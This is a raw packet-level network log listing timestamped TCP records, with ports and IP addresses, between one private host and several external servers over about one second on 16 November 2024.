Nov 16, 2024 23:36:32.871496916 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.871558905 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.871598959 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.871627092 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.871634007 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.871668100 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.871706009 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.871712923 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.871712923 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.871721983 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.871867895 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.871973991 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.872028112 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.872102976 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.872108936 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.872539997 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.872567892 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.872675896 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.872680902 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.872693062 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.872713089 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.872961998 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.873003960 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.873127937 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.873133898 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.873224974 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.873229980 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.874347925 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.874385118 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.874413967 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.874428034 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.874434948 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.874444008 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:32.874461889 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.874528885 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.874541998 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:32.874543905 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.874572992 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.875380039 CET	49840	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.875461102 CET	443	49840	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.875530005 CET	49840	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.888895988 CET	49837	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:32.889178991 CET	49841	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:32.889200926 CET	443	49841	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:32.889206886 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.889270067 CET	49841	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:32.889627934 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.889638901 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.889883995 CET	49836	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:32.890111923 CET	49840	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.890173912 CET	443	49840	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.890237093 CET	49840	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.890266895 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.890288115 CET	49819	443	192.168.2.5	18.244.18.122
Nov 16, 2024 23:36:32.890316010 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.890373945 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.890378952 CET	443	49819	18.244.18.122	192.168.2.5
Nov 16, 2024 23:36:32.890382051 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.890472889 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.890472889 CET	49819	443	192.168.2.5	18.244.18.122
Nov 16, 2024 23:36:32.890853882 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.891041040 CET	49842	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:32.891061068 CET	443	49842	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:32.891225100 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.891237974 CET	49842	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:32.891273022 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.891436100 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.891489029 CET	49839	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:32.891679049 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.891716003 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.891738892 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.891746044 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.892010927 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.892507076 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.892604113 CET	49844	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:32.892623901 CET	443	49844	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:32.892684937 CET	49844	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:32.893429995 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.893816948 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.893826962 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.894292116 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.894676924 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.894684076 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.895081043 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.895370960 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.895378113 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.896346092 CET	49841	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:32.896374941 CET	443	49841	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:32.896660089 CET	49842	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:32.896676064 CET	443	49842	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:32.896764994 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.896791935 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.896884918 CET	49844	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:32.896889925 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.896913052 CET	443	49844	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:32.896922112 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.896936893 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.896946907 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.897032976 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.897505999 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.898355961 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.898420095 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.898442030 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.898452044 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.898541927 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.899156094 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.900171041 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.900342941 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.900352001 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.900918961 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.900984049 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.900993109 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.901866913 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.901947021 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.901954889 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.903338909 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.903369904 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.903568983 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.903579950 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.903882980 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.904232025 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.905422926 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.905452967 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.905543089 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.905553102 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.905735016 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.905936003 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.906733036 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.906773090 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.906790018 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.906799078 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.906985998 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.930377960 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.930428028 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.930538893 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.931369066 CET	443	49837	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:32.935332060 CET	443	49839	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:32.935336113 CET	443	49836	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.015790939 CET	443	49829	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.036950111 CET	49829	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.036969900 CET	443	49829	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.037522078 CET	443	49837	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.037542105 CET	49829	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.037549019 CET	443	49829	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.037586927 CET	49837	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.039242983 CET	443	49834	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.039829969 CET	49834	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.039868116 CET	443	49834	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.040467978 CET	49834	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.040481091 CET	443	49834	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.042321920 CET	443	49836	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.042373896 CET	49836	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.042623043 CET	443	49833	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.043817043 CET	49833	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.043828011 CET	443	49833	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.044316053 CET	49833	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.044320107 CET	443	49833	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.046925068 CET	443	49839	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.047013044 CET	49839	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.157042027 CET	443	49835	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.167404890 CET	49835	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.167426109 CET	443	49835	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.167911053 CET	49835	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.167916059 CET	443	49835	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.174819946 CET	443	49829	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.174985886 CET	443	49829	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.175060034 CET	49829	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.175806999 CET	49829	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.175806999 CET	49829	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.175822973 CET	443	49829	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.175832987 CET	443	49829	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.180825949 CET	49846	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.180855989 CET	443	49846	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.181082010 CET	49846	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.181248903 CET	49846	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.181276083 CET	443	49846	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.182152987 CET	443	49838	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.183397055 CET	49838	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.183417082 CET	443	49838	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.184883118 CET	49838	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.184891939 CET	443	49838	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.188913107 CET	443	49834	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.189135075 CET	443	49834	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.189229965 CET	49834	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.190293074 CET	49834	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.190293074 CET	49834	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.190324068 CET	443	49834	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.190349102 CET	443	49834	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.198892117 CET	49847	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.198911905 CET	443	49847	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.198971987 CET	49847	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.199659109 CET	443	49833	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.199814081 CET	443	49833	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.199875116 CET	49833	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.200011015 CET	49847	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.200026035 CET	443	49847	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.200331926 CET	49833	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.200331926 CET	49833	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.200376034 CET	443	49833	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.200404882 CET	443	49833	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.202862024 CET	49848	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.202888966 CET	443	49848	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.202986956 CET	49848	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.203345060 CET	49848	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.203356981 CET	443	49848	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.219806910 CET	49849	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.219837904 CET	443	49849	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.219904900 CET	49849	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.220227957 CET	49849	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.220242977 CET	443	49849	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.221668959 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:33.238611937 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:33.240617037 CET	49850	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.240647078 CET	443	49850	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.240703106 CET	49850	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.240892887 CET	49850	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.240911961 CET	443	49850	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.312758923 CET	443	49835	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.313338995 CET	443	49835	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.313508034 CET	49835	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.313946962 CET	49835	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.313967943 CET	443	49835	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.313982964 CET	49835	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.313988924 CET	443	49835	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.318447113 CET	49851	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.318466902 CET	443	49851	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.318732023 CET	49851	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.321775913 CET	49851	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.321795940 CET	443	49851	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.333410025 CET	443	49838	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.333690882 CET	443	49838	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.333736897 CET	49838	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.333769083 CET	49838	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.333777905 CET	443	49838	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.333791971 CET	49838	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.333801031 CET	443	49838	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.334942102 CET	443	49831	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:33.335108995 CET	49831	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:33.336225033 CET	49852	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.336261034 CET	443	49852	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.336330891 CET	49852	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.336529016 CET	49852	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.336541891 CET	443	49852	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.340115070 CET	49853	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.340141058 CET	443	49853	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.340719938 CET	49853	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.340950012 CET	49853	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.340962887 CET	443	49853	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.345951080 CET	49831	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:33.345977068 CET	443	49831	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:33.346729994 CET	443	49831	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:33.347177029 CET	49831	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:33.347208023 CET	49831	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:33.347232103 CET	443	49831	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:33.384650946 CET	443	49832	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:33.385936975 CET	49854	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.385962963 CET	443	49854	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.386025906 CET	49854	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.386806965 CET	49854	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.386820078 CET	443	49854	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.387382984 CET	49832	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:33.387419939 CET	443	49832	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:33.388215065 CET	49832	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:33.388222933 CET	443	49832	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:33.388289928 CET	49832	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:33.388300896 CET	443	49832	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:33.520569086 CET	443	49844	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.520813942 CET	49844	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.520834923 CET	443	49844	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.521693945 CET	443	49844	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.521759987 CET	49844	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.522762060 CET	49844	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.522825003 CET	443	49844	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.522970915 CET	49844	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.522985935 CET	443	49844	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.528664112 CET	443	49842	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.528702021 CET	443	49841	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.528872013 CET	49842	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.528887033 CET	443	49842	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.529011965 CET	49841	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.529028893 CET	443	49841	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.529957056 CET	443	49842	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.530018091 CET	49842	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.530088902 CET	443	49841	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.530145884 CET	49841	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.531286955 CET	49842	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.531366110 CET	443	49842	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.531533957 CET	49841	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.531611919 CET	443	49841	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.531615019 CET	49842	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.531624079 CET	443	49842	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.531968117 CET	49841	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.531981945 CET	443	49841	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.619699955 CET	49842	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.637367964 CET	49844	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.637469053 CET	49841	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.669259071 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.669667959 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.669702053 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.670792103 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.670861006 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.671969891 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.672055006 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.672187090 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.672205925 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.676825047 CET	443	49844	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.676877022 CET	443	49844	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.676928997 CET	49844	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.677088976 CET	49844	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.677117109 CET	443	49844	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.684509039 CET	443	49841	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.684518099 CET	443	49842	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.684602976 CET	443	49841	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.684607983 CET	443	49842	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.684655905 CET	49841	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.684681892 CET	49842	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.684778929 CET	49842	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.684789896 CET	443	49842	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.685034990 CET	49841	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.685059071 CET	443	49841	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.790189981 CET	443	49831	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:33.839298964 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.839561939 CET	49831	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:33.839576006 CET	443	49831	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:33.844995975 CET	49831	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:33.844995975 CET	49831	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:33.845410109 CET	443	49831	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:33.845500946 CET	443	49831	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:33.845726013 CET	49831	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:33.850126982 CET	443	49849	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.850549936 CET	49849	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.850569010 CET	443	49849	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.852011919 CET	443	49849	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.852077007 CET	49849	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.852503061 CET	49849	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.852586031 CET	443	49849	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.852761030 CET	49849	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.866981983 CET	443	49850	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.867228031 CET	49850	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.867238998 CET	443	49850	162.159.61.3	192.168.2.5
